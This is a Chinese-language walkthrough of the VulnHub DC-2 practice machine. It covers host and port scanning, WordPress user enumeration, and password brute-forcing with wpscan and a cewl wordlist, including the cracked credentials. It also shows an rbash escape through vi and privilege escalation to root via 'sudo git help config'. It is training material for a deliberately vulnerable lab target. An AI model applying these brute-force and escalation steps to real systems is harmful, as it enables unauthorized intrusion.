DC-2靶机通关详解以及可能问题的解决

靶机下载地址：https://www.vulnhub.com/entry/dc-2,311/

可能问题

出现如图的问题最大的可能是因为我们的VMware的版本过高，我们只需要降低一下版本就可以了。

找到虚拟机选项，点开其中的管理选项，然后选择更改兼容性。

直接下一步将兼容性改为Workstation 16.2.x

点击下一步

直接下一步，然后命名好，可以将位置改为自己想要放置的地方。

直接下一步即可，然后就可以对靶机进行更改网络连接为NAT我们就可以进行打靶了。

第一步：扫描出目标IP

和我们的dc-1靶机一样，有三种扫描方法。

1.arp-scan

复制代码

arp-scan -l

2.nmap

复制代码

nmap -sP 192.168.141.0/24

3.netdiscover

复制代码

netdiscover

都可以的到我们的目标IP为：192.168.141.132

第二步：使用nmap进行开发端口的探测

复制代码

nmap -sV -p- 192.168.141.132

可以看到我们的靶机开发了80端口以及7744端口的ssh服务。

第三步：网页信息收集得到flag1

尝试访问：http://192.168.141.132

发现失败了，发现目标进行了重定向需要我们修改本地的hosts文件，进行DNS解析：

复制代码

vim /etc/hosts //打开我们的文件
192.168.141.132 dc-2 //输入内容

编辑好后再重新访问即可得到flag1

第四步：获取网站用户与密码

在flag1中给出来提示：你需要cewl，登录可以得到下一个flag，提示我们使用cewl工具获取网站密码

复制代码

cewl http://dc-2 -w mima.txt //将得到的密码写入到mima.txt文件
cat mima.txt //查看得到的密码

1.利用wpscan获取用户

得到密码后我们就需要获取用户

复制代码

wpscan --url http://dc-2/ -e u

可以看到得到三个用户分别是：admin、jerry、tom 。

利用指令将得到的用户名创建一个文档并写入保存。

2.爆破用户与密码

利用wpscan工具爆破

复制代码

wpscan --url http://dc-2/ -e -U /root/user.txt -P /root/mima.txt

成功爆破出：

成功爆出了用户密码：

jerry：adipiscing

tom：parturient

第五步：扫描网页

1.利用dirsearch进行扫描

复制代码

dirsearch -u http://dc-2/ -e * --delay 1 -x 400,403,404,500,503,429

访问扫描出的地址找到我们的登录界面：

2.利用我们爆破出的用户与密码登录，找到flag2

第六步：ssh连接

我们可以根据flag2给出的提示猜测接下来是使用ssh连接，使用用户密码进行ssh连接。

复制代码

ssh tom@192.168.141.132 -p 7744 //靶机的IP地址

尝试了几个常用的指令发现不行，设置了rbash限制。经过多个测试发现vi指令可以。

复制代码

vi
set shell=/bin/bash

复制代码

shell

复制代码

export PATH=$PATH:/bin/

然后就可以正常执行我们的指令了，得到flag3.

第七步：su切换用户

根据提示我们需要切换用户来获取flag4。

复制代码

cd /home //转到home文件下发现jerry文件
cd /jerry //打开jerry文件
ls //查看jerry下面有什么文件
cat flag4.txt

得到我们的flag4。

第八步：提权得到flag5

看flag4中的提示明显就是提权啊。

复制代码

sudo -l

可以执行指令，打开配置文件

复制代码

sudo git help config
!/bin/bash  //在末尾加上

找来找去最后在root文件下得到flag5

复制代码

cd /root

这个靶场比较简单提示也比较明显。